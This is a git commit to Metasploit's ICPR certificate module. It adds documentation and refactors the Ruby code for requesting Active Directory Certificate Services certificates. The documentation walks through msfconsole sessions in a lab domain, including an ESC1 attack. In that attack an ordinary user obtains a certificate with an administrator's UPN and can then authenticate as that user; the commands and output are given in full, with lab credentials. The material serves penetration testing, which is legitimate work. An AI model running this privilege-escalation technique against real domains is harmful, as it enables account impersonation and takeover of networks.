Add module docs
This commit is contained in:
parent
86804ce5b8
commit
69cc144e04
|
@ -0,0 +1,139 @@
|
|||
## Vulnerable Application
|
||||
Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
|
||||
template's configuration the resulting certificate can be used for various operations such as authentication.
|
||||
PFX certificate files that are saved are encrypted with a blank password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/icpr_cert`
|
||||
3. Set the `CA`, `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
4. Run the module and see that a new certificate was issued or submitted
|
||||
|
||||
## Options
|
||||
|
||||
### CA
|
||||
The target certificate authority. The default value used by AD CS is `$domain-DC-CA`.
|
||||
|
||||
### CERT_TEMPLATE
|
||||
The certificate template to issue, e.g. "User".
|
||||
|
||||
### ALT_DNS
|
||||
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
|
||||
|
||||
### ALT_UPN
|
||||
Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the
|
||||
format `$username@$dnsDomainName`.
|
||||
|
||||
## Actions
|
||||
|
||||
### REQUEST_CERT
|
||||
Request a certificate. The certificate PFX file will be stored on success. The certificate file's password is blank.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Obtaining Configuration Values
|
||||
For this module to work, it's necessary to know the name of a CA and certificate template. These values can be obtained
|
||||
by a normal user via LDAP.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local
|
||||
BIND_DN => aliddle@msflab.local
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW Password1!
|
||||
BIND_PW => Password1!
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_ADCS_CAS
|
||||
ACTION => ENUM_ADCS_CAS
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
CN=msflab-DC-CA CN=Enrollment Services CN=Public Key Services CN=Services CN=Configuration DC=msflab DC=local
|
||||
=============================================================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cacertificatedn CN=msflab-DC-CA, DC=msflab, DC=local
|
||||
certificatetemplates ESC1-Test || Workstation || ClientAuth || DirectoryEmailReplication || DomainControllerAuthentication || KerberosAuthentication || EFSRecovery || EFS || DomainController || WebServer || Machine || User || SubCA |
|
||||
| Administrator
|
||||
cn msflab-DC-CA
|
||||
dnshostname DC.msflab.local
|
||||
name msflab-DC-CA
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### Issue A Generic Certificate
|
||||
In this scenario, an authenticated user issues a certificate for themselves using the `User` template which is available
|
||||
by default. The user must know the CA name, which in this case is `msflab-DC-CA`.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
|
||||
SMBPass => Password1!
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
|
||||
CA => msflab-DC-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
|
||||
CERT_TEMPLATE => User
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
|
||||
[*] 192.168.159.10:445 - Binding to \cert...
|
||||
[+] 192.168.159.10:445 - Bound to \cert
|
||||
[*] 192.168.159.10:445 - Requesting a certificate...
|
||||
[+] 192.168.159.10:445 - The requested certificate was issued.
|
||||
[*] 192.168.159.10:445 - Certificate UPN: aliddle@msflab.local
|
||||
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125053_default_unknown_windows.ad.cs_545696.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
|
||||
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different
|
||||
User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a
|
||||
different UPN effectively issues a certificate that can be used to authenticate as another user.
|
||||
|
||||
The user must know:
|
||||
|
||||
* A vulnerable certificate template, in this case `ESC1-Test`.
|
||||
* The UPN of a target account, in this case `smcintyre@msflab.local`.
|
||||
|
||||
See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more
|
||||
information.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
|
||||
SMBPass => Password1!
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
|
||||
CA => msflab-DC-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
|
||||
CERT_TEMPLATE => ESC1-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
|
||||
ALT_UPN => smcintyre@msflab.local
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
|
||||
[*] 192.168.159.10:445 - Binding to \cert...
|
||||
[+] 192.168.159.10:445 - Bound to \cert
|
||||
[*] 192.168.159.10:445 - Requesting a certificate...
|
||||
[+] 192.168.159.10:445 - The requested certificate was issued.
|
||||
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
|
@ -20,12 +20,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ICPR Cert Management',
|
||||
'Name' => 'ICPR Certificate Management',
|
||||
'Description' => %q{
|
||||
Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
|
||||
template's configuration the resulting certificate can be used for various operations such as authentication.
|
||||
PFX certificate files that are saved are encrypted with a blank password.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
# TODO: Original certipy code
|
||||
'Oliver Lyak', # certipy implementation
|
||||
'Spencer McIntyre',
|
||||
],
|
||||
'References' => [
|
||||
|
@ -43,10 +46,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('CA', [ true, 'The target certificate authority.' ]),
|
||||
OptString.new('CERT_TEMPLATE', [ true, 'The certificate template.' ]),
|
||||
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS.' ]),
|
||||
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN.' ]),
|
||||
OptString.new('CA', [ true, 'The target certificate authority' ]),
|
||||
OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
|
||||
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
|
||||
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN' ]),
|
||||
Opt::RPORT(445)
|
||||
])
|
||||
end
|
||||
|
@ -135,7 +138,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
attributes['SAN'] = "upn=#{datastore['ALT_UPN']}"
|
||||
end
|
||||
|
||||
# fail_with(Failure::Unknown, 'till next time my friends')
|
||||
print_status('Requesting a certificate...')
|
||||
response = @icpr.cert_server_request(
|
||||
attributes: attributes,
|
||||
|
@ -149,6 +151,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_warning('The requested certificate was submitted for review.')
|
||||
else
|
||||
print_error('There was an error while requesting the certificate.')
|
||||
print_error(response[:disposition_message].strip.to_s) unless response[:disposition_message].blank?
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -160,14 +163,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("Certificate SID: #{sid}")
|
||||
end
|
||||
|
||||
pkcs12 = OpenSSL::PKCS12.create(
|
||||
'',
|
||||
'',
|
||||
private_key,
|
||||
response[:certificate]
|
||||
)
|
||||
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
|
||||
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
|
||||
stored_path = store_loot('certificate.pfx', 'application/x-pkcs12', nil, pkcs12.to_der, 'certificate.pfx', 'Certificate')
|
||||
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
|
||||
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', nil, pkcs12.to_der, 'certificate.pfx', info)
|
||||
print_status("Certificate stored at: #{stored_path}")
|
||||
end
|
||||
|
||||
|
@ -177,6 +176,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# @param [OpenSSL::PKey] private_key The private key for the certificate.
|
||||
# @param [String] dns An alternative DNS name to use.
|
||||
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
|
||||
# @return [OpenSSL::X509::Request] The request object.
|
||||
def build_csr(cn:, private_key:, dns: nil, msext_upn: nil)
|
||||
request = OpenSSL::X509::Request.new
|
||||
request.version = 1
|
||||
|
@ -202,8 +202,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
request
|
||||
end
|
||||
|
||||
# Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
|
||||
#
|
||||
# @param [OpenSSL::X509::Certificate] cert
|
||||
# @return [String, nil] The SID if it was found, otherwise nil.
|
||||
def get_cert_msext_sid(cert)
|
||||
ext = cert.find_extension(NTDS_CA_SECURITY_EXT)
|
||||
ext = cert.extensions.find { |e| e.oid == NTDS_CA_SECURITY_EXT }
|
||||
return unless ext
|
||||
|
||||
ext_asn = OpenSSL::ASN1.decode(OpenSSL::ASN1.decode(ext.to_der).value[1].value)
|
||||
|
@ -218,8 +222,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
nil
|
||||
end
|
||||
|
||||
# Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension.
|
||||
#
|
||||
# @param [OpenSSL::X509::Certificate] cert
|
||||
# @return [String, nil] The UPN if it was found, otherwise nil.
|
||||
def get_cert_msext_upn(cert)
|
||||
ext = cert.find_extension('subjectAltName')
|
||||
ext = cert.extensions.find { |e| e.oid == 'subjectAltName' }
|
||||
return unless ext
|
||||
|
||||
# need to decode the contents and handle them ourselves
|
||||
|
|
Loading…
Reference in New Issue